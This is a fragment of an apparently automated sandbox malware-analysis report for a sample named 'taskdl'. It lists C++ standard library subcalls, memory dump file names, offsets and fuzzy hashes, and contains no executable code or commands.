                                        • Part of subcall function 00401690: ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 0040173A
                                        • Part of subcall function 00401690: ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00401742
                                      Memory Dump Source
                                      • Source File: 0000000A.00000002.1293438722.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 0000000A.00000002.1293421951.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293458060.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293478427.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_10_2_400000_taskdl.jbxd
                                      Similarity
                                      • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$V12@$?assign@?$basic_string@$Split@?$basic_string@$??2@Eos@?$basic_string@Grow@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                      • String ID:
                                      • API String ID: 3154500504-0
                                      • Opcode ID: 6636b44b641b77d4c97a97785cbcd8c41d41e59366c3e557b6000251a80c17ff
                                      • Instruction ID: 1a94831c173c9211e28d46cdbba668eac71917d736910117d3345b582314b656
                                      • Opcode Fuzzy Hash: 6636b44b641b77d4c97a97785cbcd8c41d41e59366c3e557b6000251a80c17ff
                                      • Instruction Fuzzy Hash: FA81B472A003109BD710DE18CC8492AB7E5FBC8358F094A3EED49BB391D636EE05CB95